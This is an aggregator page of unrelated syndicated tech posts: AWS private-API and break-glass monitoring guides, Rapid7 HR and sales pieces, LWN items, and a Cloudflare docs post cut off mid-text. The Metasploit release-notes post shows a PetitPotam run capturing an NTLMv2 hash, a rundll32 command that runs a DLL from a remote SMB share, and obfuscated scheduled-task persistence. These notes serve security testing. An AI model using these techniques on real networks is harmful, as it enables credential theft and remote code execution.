Заглавно изображение: Колаж от корици на издателствата „Лист“, „Нике“ и „Колибри“ и снимка на Annie Spratt / Unsplash

Източник

Building resilient private APIs using Amazon API Gateway

Post Syndicated from Eric Johnson original https://aws.amazon.com/blogs/compute/building-resilient-private-apis-using-amazon-api-gateway/

This post written by Giedrius Praspaliauskas, Senior Solutions Architect, Serverless.

Modern architectures meet recovery objectives (recovery time objective, RTO, and recovery point objective, RPO) by being resilient to routine and unexpected infrastructure disruptions. Depending on the recovery objectives and regulatory requirements, developers must choose the disaster recovery strategy. For more on disaster recovery strategies, see this whitepaper.

AWS’ global infrastructure enables customers to support applications with near zero RTO requirements. Customers can run workloads in multiple Regions, in a multi-site active/active manner, and serve traffic from all Regions. To do so, developers often must implement private multi-regional APIs for use by the applications.

This blog describes how to implement this solution using Amazon API Gateway and Amazon Route 53.

Overview

The first step is to build a REST API that uses private API Gateway endpoints with custom domain names as described in this sample. The next step is to deploy APIs in two AWS Regions and configure Route 53, following a disaster recovery strategy.
This architecture uses the following resources in each Region:

Two region architecture example

Two region architecture example

  • API Gateway with an AWS Lambda function as integration target.
  • Amazon Virtual Private Cloud (Amazon VPC) with two private subnets, used to deploy VPC endpoint and Network Load Balancers (NLB).
  • AWS Transit Gateway to establish connectivity between the two VPCs in different Regions.
  • VPC endpoint to access API Gateway from a private VPC.
  • Elastic network interfaces (ENIs) created by the VPC endpoint.
  • A Network Load Balancer with ENIs in its target group and a TLS listener with an AWS Certificate Manager (ACM) certificate, used as a facade for the API.
  • ACM issues and manages certificates used by the NLB TLS listener and API Gateway custom domain.
  • Route 53 with private hosted zones used for DNS resolution.
  • Amazon CloudWatch with alarms used for Route 53 health checks.

This sample implementation uses a Lambda function as an integration target, though it can target on-premises resources accessible via AWS Direct Connect, and applications running on Amazon EKS. For more information on best practices designing API Gateway private APIs, see this whitepaper.

This post uses AWS Transit Gateway with inter-Region peering to establish connectivity between the two VPCs. Depending on the networking needs and infrastructure already in place, you may tailor the architecture and use a different approach. Read this whitepaper for more information on available VPC-to-VPC connectivity options.

Implementation

Prerequisites

You can use existing infrastructure to deploy private APIs. Otherwise check the sample repository for templates and detailed instructions on how to provision the necessary infrastructure.

This post uses the AWS Serverless Application Model (AWS SAM) to deploy private APIs with custom domain names. Visit the documentation to install it in your environment.

Deploying private APIs into multiple Regions

To deploy private APIs with custom domain names and CloudWatch alarms for health checks into the two AWS Regions:

  1. Download the AWS SAM template file api.yaml from the sample repository. Replace default parameter values in the template with ones that match your environment or provide them during the deployment step.
  2. Navigate to the directory containing the template. Run following commands to deploy the API stack in the us-east-1 Region:
    sam build --template-file api.yaml
    sam deploy --template-file api.yaml --guided --stack-name private-api-gateway --region us-east-1
  3. Repeat the deployment in the us-west-2 Region. Update the parameters values in the template to match the second Region (or provide them as an input during the deployment step). Run the following commands:
    sam build --template-file api.yaml
    sam deploy --template-file api.yaml --guided --stack-name private-api-gateway --region us-west-2

Setting up Route 53

With the API stacks deployed in both Regions, create health checks to use them in Route 53:

  1. Navigate to Route 53 in the AWS Management Console. Use the CloudWatch alarms created in the previous step to create health checks (one per Region):
    Configuring the health check for region 1

    Configuring the health check for region 1

    Configuring the health check for region 2

    Configuring the health check for region 2

    This Route 53 health check uses the CloudWatch alarms that are based on a static threshold of the NLB healthy host count metric in each Region. In your implementation, you may need more sophisticated API health status tracking. It can use anomaly detection, include metric math, or use a composite state of the multiple alarms. Check this documentation article for more information on CloudWatch alarms. You can also use the approach documented in this blog post as an alternative. It will help you to create a health check solution that observes the state of the private resources and creates custom metrics that are more specific to your use case. For example, such metrics could include increased database transactions’ failure rate, number of timed out requests to a downstream legacy system, status of an external system that your workload depends on, etc.

  2. Create a private Route 53 hosted zone. Associate this with the VPCs where the client applications that access private APIs reside:

    Create a private hosted zone

    Create a private hosted zone

  3. Create Route 53 private zone alias records, pointing to the NLBs in both Regions and VPCs, using the same name for both records (for example, private.internal.example.com):

    Create alias records

    Create alias records

This post uses Route 53 latency-based routing for private DNS to implement resilient active-active private API architecture. Depending on your use case and disaster recovery strategy, you can change this approach and use geolocation-based routing, failover, or weighted routing. See the documentation for more details on supported routing policies for the records in a private hosted zone.

In this implementation, client applications that connect to the private APIs reside in the VPCs and can access Route 53 private hosted zones. You may also operate an application that runs on-premises and must access the private APIs. Read this blog post for more information on how to create DNS naming that spans the entire network.

Validating the configuration

To validate this implementation, I use a bastion instance in each of the VPCs. I connect to them using SSH or AWS Systems Manager Session Manager (see this documentation article for details).

  1. Run the following command from both bastion instances:
    dig +short private.internal.com

    The response should contain IP addresses of the NLB in one VPC:

    10.2.2.188
    10.2.1.211
  2. After DNS resolution verification, run the following command in each of the VPCs:
    curl -s -XGET https://private.internal.example.com/demo

    The response should include event data as the Lambda function received it.

  3. To simulate an outage, navigate to Route 53 in the AWS Management Console. Select the health check that corresponds to the Region where you received the response, and invert the health status:
  4. After a few minutes, retry the same DNS resolution and API response validation steps. This time, it routes all your requests to the remaining healthy API stack.

Cleaning Up

To avoid incurring further charges, delete all the resources that you have created in Route 53 records, health checks, and private hosted zones.

Run the following commands to delete API stacks in both Regions:

sam delete --stack-name private-api-gateway --region us-west-2
sam delete --stack-name private-api-gateway --region us-east-1

If you used the sample templates to provision the infrastructure, follow the steps listed in the Cleanup section of the sample repository instructions.

Conclusion

This blog post walks through implementing a multi-Regional private API using API Gateway with custom domain names. This approach allows developers to make their internal applications and workloads more resilient, react to disruptions, and meet their disaster recovery scenario objectives.

For additional guidance on such architectures, including multi-Region application architecture, see this solution, blog post, re:Invent presentation.

For more serverless learning resources, visit Serverless Land.

Metasploit Weekly Wrap-Up

Post Syndicated from Alan David Foster original https://blog.rapid7.com/2022/05/27/metasploit-weekly-wrap-up-158-2/

PetitPotam Improvements

Metasploit Weekly Wrap-Up

Metasploit’s Ruby support has been updated to allow anonymous authentication to SMB servers. This is notably useful while exploiting the PetitPotam vulnerability with Metasploit, which can be used to coerce a Domain Controller to send an authentication attempt over SMB to other machines via MS-EFSRPC methods:

msf6 auxiliary(scanner/dcerpc/petitpotam) > run 192.168.159.10

[*] 192.168.159.10:445    - Binding to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.159.10[\lsarpc] ...
[*] 192.168.159.10:445    - Bound to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.159.10[\lsarpc] ...
[*] 192.168.159.10:445    - Attempting to coerce authentication via EfsRpcOpenFileRaw

[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv2-SSP Client     : 192.168.159.10
[SMB] NTLMv2-SSP Username   : MSFLAB\WIN-3MSP8K2LCGC$
[SMB] NTLMv2-SSP Hash       : WIN-3MSP8K2LCGC$::MSFLAB:768ec6a80487d57b:c5bae280991f0814f92bbbd5cce710df:0101000000000000806cc79fb364d801fed140b07186c36f000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f005500500007000800806cc79fb364d80106000400020000000800300030000000000000000000000000400000ee85f088ff3d462c936ca209ddc2cc835a9df7261cf96264158f81bf31035a980a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100350039002e003100320038000000000000000000

[+] 192.168.159.10:445    - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
[*] 192.168.159.10:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/dcerpc/petitpotam) >

Full details can be found in the Metasploit PetitPotam documentation.

Standalone SMB Server tool

Our very own Spencer McIntyre has added support for creating a new standalone tool for spawning an SMB server that allows read-only access to the current working directory. This new SMB server functionality supports SMB 1/2/3, as well as encryption support for SMB3.

Example usage:

ruby tools/smb_file_server.rb --share-name home --username metasploit --password password --share-point .

This can be useful for copying files onto remote targets, or running remote DLLs:

copy \\192.168.123.1\home\example.txt .

rundll32.exe \\192.168.123.1\home\example.dll,0

Local Exploit suggester improvements

The post/multi/recon/local_exploit_suggester module is a post-exploitation module which iterates through multiple relevant Metasploit modules and automatically checks for local vulnerabilities that may lead to privilege escalation.

This module has been updated with a number of bug fixes, as well as having the UX has been improved to more clearly highlight which modules are viable:

msf6 post(multi/recon/local_exploit_suggester) > run session=-1
... etc ...
[*] ::1 - Valid modules for session 3:
============================
 #   Name                                                                Potentially Vulnerable?  Check Result
 -   ----                                                                -----------------------  ------------
 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                 Yes                      The target is vulnerable.
 2   exploit/linux/local/cve_2022_0847_dirtypipe                         Yes                      The target appears to be vulnerable. Linux kernel version found: 5.14.0
 3   exploit/linux/local/cve_2022_0995_watch_queue                       Yes                      The target appears to be vulnerable.
 4   exploit/linux/local/desktop_privilege_escalation                    Yes                      The target is vulnerable.
 5   exploit/linux/local/network_manager_vpnc_username_priv_esc          Yes                      The service is running, but could not be validated.
 6   exploit/linux/local/pkexec                                          Yes                      The service is running, but could not be validated.
 7   exploit/linux/local/polkit_dbus_auth_bypass                         Yes                      The service is running, but could not be validated. Detected polkit framework version 0.105.
 8   exploit/linux/local/su_login                                        Yes                      The target appears to be vulnerable.
 9   exploit/android/local/futex_requeue                                 No                       The check raised an exception.
 10  exploit/linux/local/abrt_raceabrt_priv_esc                          No                       The target is not exploitable.
 11  exploit/linux/local/abrt_sosreport_priv_esc                         No                       The target is not exploitable.
 12  exploit/linux/local/af_packet_chocobo_root_priv_esc                 No                       The target is not exploitable. Linux kernel 5.14.0-kali4-amd64 #1 is not vulnerable
 13  exploit/linux/local/af_packet_packet_set_ring_priv_esc              No                       The target is not exploitable.
 14  exploit/linux/local/apport_abrt_chroot_priv_esc                     No                       The target is not exploitable.
 15  exploit/linux/local/asan_suid_executable_priv_esc                   No                       The check raised an exception.
 16  exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc          No                       The target is not exploitable.

Setting the option verbose=true will now also highlight modules that weren’t considered as part of the module suggestion phase – due to session platform/arch/type mismatches. This is useful for evaluating modules which may require manually migrating from a Shell session to Meterpreter, or from a Python Meterpreter to a Native Meterpreter to gain local privilege escalation etc.

New module content (1)

  • #16488 from cdelafuente-r7 – This updates the exploit/windows/local/vss_persistence and post/windows/manage/persistence_exe modules to optionally obfuscate scheduled tasks. Additionally, the post/windows/manage/persistence_exe was updated with a new "TASK" startup technique that allows users to obtain persistence via a scheduled task.

Enhancements and features (7)

  • #16413 from sjanusz-r7 – Updates the multi/recon/local_exploit_suggester with multiple enhancements, including the ability to correctly work with Java/Python Meterpreters as well as now generating a readable table of results.
  • #16481 from zeroSteiner – This updates the Msf::Exploit::Remote::SMB::Server::Share mixin to use RubySMB, which now supports SMB versions 1-3, along with various other features like accounting, state logging, session tracking, support for multiple files etc. All existing modules that were using this mixin will now automatically benefit from these improvements. They will work again against modern versions of Windows where SMBv1 has been disabled.
  • #16518 from adfoster-r7 – Merge Metasploit framework wiki into Metasploit framework.
  • #16600 from adfoster-r7 – Update docs site to use migrated wiki files.
  • #16610 from zeroSteiner – Updates the module windows/dcerpc/cve_2021_1675_printnightmare from being an auxiliary that would require the user to setup and configure an external Samba share to host the payload to an all-inclusive exploit. This means users can deliver their payloads in a seamless fashion without needing to deal with Samba.
  • #16620 from zeroSteiner – Adds a standalone tool for creating a read-only SMB 2/3 server from the current working directory. Usage: ruby ./tools/smb_file_server.rb. Normal SMB clients can then connect to this share and download files as normal. For instance via Windows with copy \\192.168.123.1\home\example.exe . or net use \\192.168.123.1\home /u:WORKGROUP\metasploit password

Bugs fixed (1)

  • #16619 from NikitaKovaljov – This fixes a bug in neighbor advertisement filtering as used by the auxiliary/scanner/discover/ipv6_neighbor module. Prior to this patch, the module would fail to map IPv4 to IPv6 addresses.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

The Forecast Is Flipped: Flipping L&D Enables Managers to Be Impact Multipliers

Post Syndicated from Megan Yawor original https://blog.rapid7.com/2022/05/27/the-forecast-is-flipped-flipping-l-d-enables-managers-to-be-impact-multipliers/

The Forecast Is Flipped: Flipping L&D Enables Managers to Be Impact Multipliers

At Rapid7, we recognize that managers are at the heart of our mission and are central to optimizing the potential of our people. So naturally, focusing on the growth and development of our manager population became critical to productivity, engagement, retention, and creating strong teams, as well as Rapid7’s overall success. From there, Manager Bootcamp 1.0 was created.

The history of Manager Boot Camp

The original, fully in-person program targeted newly hired or promoted managers and consisted of eight modules that ran over the course of two full days. The modules focused on the key skills managers would need to successfully manage a team at Rapid7, including sessions like coaching, delegation, team building, goal setting, feedback, and engagement, as well as an introduction to key partnerships and the overview of tactical elements and processes. The structure of the lessons was a blend of lectures, breakout activities, and group discussions.

Then the pandemic hit and historical face-to-face teaching practices were no longer an option. Overnight, all of People Dev’s sessions had to transform into virtual instructor-led sessions (VILT). Quickly realizing that two full days of online learning wouldn’t have the same impact or engagement as the previous live sessions, the team began the process of re-engineering the learning experience. In the spirit of Challenging Convention, over the course of 2020 and 2021, a variety of program formats were created, trialed, and iterated upon: A cohort model was introduced, both a 10- and five-week format were tested, learning was broken up between VILTs and peer discussion groups, lessons were a mix of instructor-led lectures and discussion prompts, and learnings were supplemented by optional, hour-long “Manager Core Skill” sessions that honed in on specific skills aligned to Rapid7’s Manager Effectiveness Bar.

Though the program’s feedback scores remained high, the team felt that in order to best support and empower Rapid7 Managers and shift learner behaviors in a growing, global, hybrid environment, they had to re-engineer the program even further — by flipping it. Senior People Development Specialist Carolyn Kirkman stated, “Flipped content allows learners to optimize the time in session for more application-based work… we are continuously trying to find the right approach, but this method — reserving session time for practical application — is a win for putting real-world skills to use.”

Flipping the boot: Manager Boot Camp 2022

At the start of 2022, the new, flipped eight-week Manager Boot Camp launched, with 48 participants split between two cohorts (North America and EMEA).

The new experience seamlessly tied together not only flipped content but also brand-new modules focusing on skills represented in Rapid7’s Manager Effectiveness Bar, as well as those necessary to support our growing business and teams. The delivery of content was a blend of prep work (pre-session) delivered via bite-sized learnings, live sessions, and post-session peer groups.

Kirsty McAleese, Senior People Development Specialist, notes, “Having the training sessions spread over eight weeks, using a flipped approach, gives managers the opportunity to practice what they’re learning before and in between sessions, which helps them to better retain and utilize their new skills,” and the design gives the team the ability to “engage a global audience without the boundaries of time and location, while maintaining peer-to-peer learning and application opportunities.”

To tailor the content and experience to each cohort’s needs and to ensure longer-term impact, the program begins and ends with a skills pulse check. Not only does this allow the team to compare pre/post program scores to ensure effectiveness, it also promotes self-awareness for the participants and encourages partnership with their own managers around their continued growth and development.

Recognizing that creating connections was a key element of success while working in a hybrid environment, the program uses individual Slack cohort channels, as well as Peer Discussion Groups to foster a sense of community and accountability, both prior to and throughout the program. In the Slack channel, managers can share information and seek help while the Peer Groups embody our value of an Impact Together by enabling peer learning and ongoing, thoughtful discussion and reflection around the most recent topics, as well as one-on-one time with the People Strategists.

When considering the content, People Dev leaned into the importance of cohesion and the flipped mindset. They knew it was key that the information being delivered aligned the skills being learned with Rapid7’s manager standards and the larger goals of the business. To ensure the greatest impact, they created prep work for foundational information and reflection, which allowed classroom time to be focused on practicing learned skills and connecting with business leaders and People Strategy.

“By transferring some of the theory content to prep-work, we are allowing the learner to have knowledge beforehand,” said Kirkman. “It allows for flexibility to learn on the go, at a time convenient to the learner. People enjoy having autonomy in regards to when they will learn. With a scaling, global audience, it’s important that we provide resources for asynchronous learning.” To further encourage asynchronous  learning, and streamline the flipped experience, the team built a one-stop-shop microsite containing supplemental materials that encourage a Never Done mindset both during and after the program.

At Rapid7, we believe managers are impact multipliers, responsible for building, growing, and optimizing the potential of their people, teams and ultimately the company. In regards to the new program, McAleese said, “The new modules [and experience] were designed to build a stronger bench of future leaders as well as meet the needs of our business in our bid to scale and close the security achievement gap – while also ensuring our managers have the skills needed to be champions for our people.“

Check out what some of our Moose are saying!

Program and Sessions

  • “What was discussed are all things I can implement and be mindful of in my management work.”
  • The class conversations and learnings have given me more tools to use as a manager… There was a great mix of tutorials and activities and sessions at the correct duration. Plenty of interactive conversations.”

Flipped Content

  • “Brilliant course. Compressed material provides a very detailed introduction to employee engagement and related aspects… Good starting point so I can then have the deeper conversations in session”
  • “I was able to do this training over a couple of hours between meetings. So that made it a great way to utilize in-between time… and [if needed] I could speed up the videos to match my ability and comprehension.”

Stay tuned, over the next several months, to dive deeper into how People Development will be introducing flipped content and other innovative practices into all of their programs for 2022 and beyond in our blog series, “The Forecast Is Flipped.”

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

The Rapid7 Sales Culture and Experience: An Inside Look From 2 VPs

Post Syndicated from Rapid7 original https://blog.rapid7.com/2022/05/27/the-rapid7-sales-culture-and-experience-an-inside-look-from-2-vps/

The Rapid7 Sales Culture and Experience: An Inside Look From 2 VPs

Sales roles are all about people. That holds true not only when you’re building relationships with prospects but also in your day-to-day experience on the team. Having the right culture and people around you can make or break your success, satisfaction, and long-term growth. If you’re a job seeker looking for a technology sales role, getting to know the people you’d be working with can help you understand if that company is a place you can flourish and advance your career to the next level.

We asked two experienced sales leaders — Dan Bidwell, Regional Vice President – Central; and Jason Doris, Regional Vice President – East — who recently joined Rapid7 to tell us a little bit about themselves, what’s most exciting about being on their teams, and why they chose Rapid7 as the next step in their professional journeys.

What was your background prior to coming to Rapid7?

Dan: I have had a lengthy career selling enterprise technology solutions for both large high-tech providers and startups. My career started with companies like NCR, Sun Microsystems, and Oracle. I left Oracle to pursue a path of working with early-stage startup companies such as Portal Software, Arcsight, Veracode, and Illumio. I enjoyed the cybersecurity space, and once I started, I never looked back.

Jason: After 25 years in the document capture and workflow industry, I transitioned to cybersecurity. I have an eclectic background, having sold in virtually every segment (enterprise, mid-market, consumer) and in every route to market (eCommerce, B2B direct and through the channel, OEM) including 14 years in global roles.

I am coming from Fastly, an edge computing cloud services company focused on website acceleration and web application and API protection. While there, I started a Financial Services vertical where we closed large deals with the likes of Goldman Sachs and PayPal. Most recently, as the RVP for the East, Fastly’s “Security First” strategy has helped take customers like HCA, Metlife, Foot Locker, and Assurant away from competitors like Akamai and Cloudflare.

How did you first find yourself in a sales role?

Dan: My first sales role was with NCR out of college. NCR provided two benefits — one, they had an extensive training program for people who had not sold high tech solutions. The second was that I worked for their Computer Systems Group, so I started selling both mini computers and manufacturing software from the beginning.

Jason: In college, I grew disenchanted as a Psychology major and changed my major to Business Administration late in the process. Directly out of college, I returned to the supermarkets that I worked in since I was 15 and entered the management trainee program. After rising to a department manager and experiencing 60-hour workweeks for 5 years, I took a chance on myself by entering a sales career. I believed that with my work ethic and lessons learned in a false start in grocery, and given a chance and a fair set of rules, that betting on myself would pay off — and it has.

How would others on your team describe you as a leader?

Dan: I strive to be a leader who is hands-on and works closely with his team. This is not code for micro management but rather being another member of the team who is there to assist and add value in any way possible to advance the cause. No job is too big or too small to help with.

Jason: I believe that my team would say that I lead from the front and by example, that I take the profession of sales seriously, that I am grounded and transparent, and that I am a positive, optimistic influence.

How do you define and measure success?

Dan: In sales, success is ultimately defined by quota achievement. But quota achievement cannot be attained unless you build and enable a team of sellers who have a passion and a belief in both the solution they are selling, and their customer’s success and satisfaction with that solution.

Jason: I see success as achieving goals on one’s career arc and personal financial goals arc, while positively contributing to a company’s team selling culture.

What has surprised you or changed your ideas about what it means to be in sales?

Dan: If you observe sales from the outside, you may feel it’s about the individual, but the reality is that it’s about the team.

Jason: Mature athletes at the highest levels often refer to the game “slowing down” for them as they gained experience and became more successful. Despite what I would have initially believed, this is exactly what I have experienced: I started out selling on adrenalin and threw myself at my customers and prospects. Since then, I’ve planned my attack, listened more, had more opportunities sought the advice of others, practiced conversations, surrounded myself with smart people, and focused on the needs of customers.

What do you think are the most important elements of a successful, thriving sales team

Dan: The team needs to understand that you cannot go it alone. It can take a village to land a deal. Don’t be afraid to ask for help. Ask early, and ask often. And be willing to offer help to your teammates, as well.

Jason: Curiosity, creativity, energy, resourcefulness, resilience, and a willingness to bet on oneself.

What made you choose Rapid7 for this chapter in your career?

Dan: I have admired what Rapid7 has done and I am excited about where they are going in the future. I believe they have the right solutions at the right time. Rapid7 has a great culture, strong executive leadership and the company is financially strong.

Jason: I was looking for an important role at a growing security software provider with deep enterprise aspirations and a great culture. At Rapid7, what I found is an expanding portfolio with a high cross-sell ceiling and engaging conversation with everyone I’ve met. In our transition — largely from a mid-market, one- to two-product selling motion to that of an enterprise portfolio or platform company — the need for developing deep relationships with customers and the channel is key, and that’s something I enjoy and can help with.

What’s ahead for your sales teams at Rapid7? What kinds of opportunities and experiences can those who join expect?

Dan: What is ahead is an exciting ride. There will be plenty of challenges, victories, and fun. I expect we will build relationships that will last a lifetime.

Jason: Rapid7 is growing rapidly while learning to be more efficient at scale. We are not opportunity-constrained in the market, and we rely on a balanced approach — both landing new customers and expanding the ones we have. Sellers can expect to learn a diverse strategic approach from peers while given the freedom to develop and apply their best ideas.

Why should those looking to start or grow in sales roles bring their talents to Rapid7?

Dan: Rapid7 is a great place to learn, grow, and flourish. I can’t think of a better company to start and evolve your technology career.

Jason: Diversity in experiences, an excellent selling culture, and great technology. We also have stakeholders who are willing and able to help, as well as generous awards for those who succeed.

As you think about the year ahead in your role and at Rapid7, what are you most excited for?

Dan: Success!! As mentioned before, I believe we have the right products for us to meet and exceed our customer’s needs, and this is an exciting time where cybersecurity has become more of a “must have” than a “nice to have” for companies across all industries. I look forward to leading my team through the many wins and inevitable learning opportunities that are before us.

Jason: Learning, growing, and digging deep. Learning how to apply the benefits of our technology on the most important customer needs and challenges. Growing as a leader by surrounding myself with smart and ambitious sellers and applying the best suggestions early and often. Digging deep by immersing myself in customer and partner relationships.

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

[$] 5.19 Merge window, part 1

Post Syndicated from original https://lwn.net/Articles/896140/

As of this writing, just under 4,600 non-merge changesets have been pulled
into the mainline repository for the 5.19 development cycle. The 5.19
merge window is clearly well underway. The changes pulled so far cover a
number of areas, including the core kernel, architecture support, networking,
security, and virtualization; read on for highlights from the first part of
this merge window.

Monitoring and alerting break-glass access in an AWS Organization

Post Syndicated from Haresh Nandwani original https://aws.amazon.com/blogs/architecture/monitoring-and-alerting-break-glass-access-in-an-aws-organization/

Organizations building enterprise-scale systems require the setup of a secure and governed landing zone to deploy and operate their systems. A landing zone is a starting point from which your organization can quickly launch and deploy workloads and applications with confidence in your security and infrastructure environment as described in What is a landing zone?. Nationwide Building Society (Nationwide) is the world’s largest building society. It is owned by its 16 million members and exists to serve their needs. The Society is one of the UK’s largest providers for mortgages, savings and current accounts, as well as being a major provider of ISAs, credit cards, personal loans, insurance, and investments.

For one of its business initiatives, Nationwide utilizes AWS Control Tower to build and operate their landing zone which provides a well-established pattern to set up and govern a secure, multi-account AWS environment. Nationwide operates in a highly regulated industry and our governance assurance requires adequate control of any privileged access to production line-of-business data or to resources which have access to them. We chose for this specific business initiative to deploy our landing zone using AWS Organizations, to benefit from ongoing account management and governance as aligned with AWS implementation best practices. We also utilized AWS Single Sign-On (AWS SSO) to create our workforce identities in AWS once and manage access centrally across our AWS Organization. In this blog, we describe the integrations required across AWS Control Tower and AWS SSO to implement a break-glass mechanism that makes access reporting publishable to system operators as well as to internal audit systems and processes. We will outline how we used AWS SSO for our setup as well as the three architecture options we considered, and why we went with the chosen solution.

Sourcing AWS SSO access data for near real-time monitoring

In our setup, we have multiple AWS Accounts and multiple trails on each of these accounts. Users will regularly navigate across multiple accounts as they operate our infrastructure, and their journeys are marked across these multiple trails. Typically, AWS CloudTrail would be our chosen resource to clearly and unambiguously identify account or data access.  The key challenge in this scenario was to design an efficient and cost-effective solution to scan these trails to help identify and report on break-glass user access to account and production data. To address this challenge, we developed the following two architecture design options.

Option 1: A decentralized approach that uses AWS CloudFormation StackSets, Amazon EventBridge and AWS Lambda

Our solution entailed a decentralized approach by deploying a CloudFormation StackSet to create, update, or delete stacks across multiple accounts and AWS Regions with a single operation. The Stackset created Amazon EventBridge rules and target AWS Lambda functions. These functions post to EventBridge in our audit account. Our audit account has a set of Lambda functions running off EventBridge to initiate specific events, format the event message and post to Slack, our centralized communication platform for this implementation. Figure 1 depicts the overall architecture for this option.

De-centralized logging using Amazon EventBridge and AWS Lambda

Figure 1. De-centralized logging using Amazon EventBridge and AWS Lambda

Option 2: Use an organization trail in the Organization Management account

This option uses the centralized organization trail in the Organization Management account to source audit data. Details of how to create an organization trail can be found in the AWS CloudTrail User Guide. CloudTrail was configured to send log events to CloudWatch Logs. These events are then sent via Lambda functions to Slack using webhooks. We used a public terraform module in this GitHub repository to build this Lambda Slack integration. Figure 2 depicts the overall architecture for this option.

Centralized logging pattern using Amazon CloudWatch

Figure 2. Centralized logging pattern using Amazon CloudWatch

This was our preferred option and is the one we finally implemented.

We also evaluated a third option which was to use centralized logging and auditing feature enabled by Control Tower. Users authenticate and federate to target accounts from a central location so it seemed possible to source this info from the centralized logs. These log events arrive as .gz compressed json objects, which meant having to expand these archives repeatedly for inspection. We therefore decided against this option.

A centralized, economic, extensible solution to alert of SSO break-glass

Our requirement was to identify break-glass access across any of the access mechanisms supported by AWS, including CLI and User Portal access. To ensure we have comprehensive coverage across all access mechanisms, we identified all the events initiated for each access mechanism:

  1. User Portal/AWS Console access events
    • Authenticate
    • ListApplications
    • ListApplicationProfiles
    • Federate – this event contains the role that the user is federating into
  2. CLI access events
    • CreateToken
    • ListAccounts
    • ListAccountRoles
    • GetRoleCredentials – this event contains the role that the user is federating into

EventBridge is able to initiate actions after events only when the event is trying to perform changes (when the “readOnly” attribute on the event record body equals “false”).

The AWS support team was aware of this attribute and recommended that we, change the data flow we were using to one able to initiate actions after any kind of event, regardless of the value on its readOnly attribute. The solution in our case was to send the CloudTrail logs to CloudWatch Logs. This then and initiates the Lambda function through a filter subscription that detects the desired event names on the log content.

The filter used is as follows:

{($.eventSource = sso.amazonaws.com) && ($.eventName = Federate||$.eventName = GetRoleCredentials)}

Due to the query size in the CloudWatch Log queries we had to remove the subscription filters and do the parsing of the content of the log lines inside the lambda function. In order to determine what accounts would initiate the notifications, we sent the list of accounts and roles to it as an environment variable at runtime.

Considerations with cross-account SSO access

With direct federation users get an access token. This is most obvious in AWS single sign on at the chiclet page as “Command line or programmatic access”. SSO tokens have a limited lifetime (we use the default 1-hour). A user does not have to get a new token to access a target resource until the one they are using is expired. This means that a user may repeatedly access a target account using the same token during its lifetime. Although the token is made available at the chiclet page, the GetRoleCredentials event does not occur until it is used to authenticate an API call to the target AWS account.

Conclusion

In this blog, we discussed how AWS Control Tower and AWS Single Sign-on enabled Nationwide to build and govern a secure, multi-account AWS environment for one of their business initiatives and centralize access management across our implementation. The integration was important for us to accurately and comprehensively identify and audit break-glass access for our implementation. As a result, we were able to satisfy our security and compliance audit requirements for privileged access to our AWS accounts.

Security updates for Friday

Post Syndicated from original https://lwn.net/Articles/896465/

Security updates have been issued by Debian (atftp, cups, neutron, and zipios++), Fedora (clash, moodle, python-jwt, and thunderbird), Red Hat (thunderbird), Slackware (cups), SUSE (go1.17, libredwg, opera, seamonkey, and varnish), and Ubuntu (libxv, ncurses, openssl, and subversion).

We rebuilt Cloudflare’s developer documentation – here’s what we learned

Post Syndicated from Kristian Freeman original https://blog.cloudflare.com/new-dev-docs/

We rebuilt Cloudflare's developer documentation - here's what we learned

We rebuilt Cloudflare's developer documentation - here's what we learned

We recently updated developers.cloudflare.com, the Cloudflare Developers documentation website, to a new version of our custom documentation engine. This change consisted of a significant migration from Gatsby to Hugo and converged a collection of Workers Sites into a single Cloudflare Pages instance. Together, these updates brought developer experience, performance, and quality of life improvements for our engineers, technical writers, and product managers.

In this blog post, we’ll cover the history of Cloudflare’s developer docs, why we made this recent transition, and why we continue to dogfood Cloudflare’s products as we develop applications internally.

What are Cloudflare’s Developer Docs?

Cloudflare’s Developer Docs, which are open source on GitHub, comprise documentation for all of Cloudflare’s products. The documentation is written by technical writers, product managers, and engineers at Cloudflare. Like many open source projects, contributions to the docs happen via Pull Requests (PRs). At time of writing, we have 1,600 documentation pages and have accepted almost 4,000 PRs, both from Cloudflare employees and external contributors in our community.

The underlying documentation engine we’ve used to build these docs has changed multiple times over the years. Documentation sites are often built with static site generators and, at Cloudflare, we’ve used tools like Hugo and Gatsby to convert thousands of Markdown pages into HTML, CSS, and JavaScript.

When we released the first version of our Docs Engine in mid-2020, we were excited about the facelift to our Developer Documentation site and the inclusion of dev-friendly features like dark mode and proper code syntax highlighting.

We rebuilt Cloudflare's developer documentation - here's what we learned

Most importantly, we also used this engine to transition all of Cloudflare’s products with documentation onto a single engine. This allowed all Cloudflare product documentation to be developed, built, and deployed using the same core foundation. But over the next eighteen months and thousands of PRs, we realized that many of the architecture decisions we had made were not scaling.

While the user interface that we had made for navigating the documentation continued to receive great feedback from our users and product teams, decisions like using client-side rendering for docs had performance implications, especially on resource-constrained devices.

At the time, our decision to dogfood Workers Sites — which served as a precursor to Cloudflare Pages — meant that we could rapidly deploy our documentation across all of Cloudflare’s network in a matter of minutes. We implemented this by creating a separate Cloudflare Workers deployment for each product’s staging and production instances. Effectively, this meant that more than a hundred Workers were regularly updated, which caused significant headaches when trying to understand the causes and downstream effects of any failed deployments.

Finally, we struggled with our choice of underlying static site generator, Gatsby. We still think Gatsby is a great tool of choice for certain websites and applications, but we quickly found it to be the wrong match for our content-heavy documentation experience. Gatsby inherits many dependency chains to provide its featureset, but running the dependency-heavy toolchain locally on contributors’ machines proved to be an incredibly difficult and slow task for many of our documentation contributors.

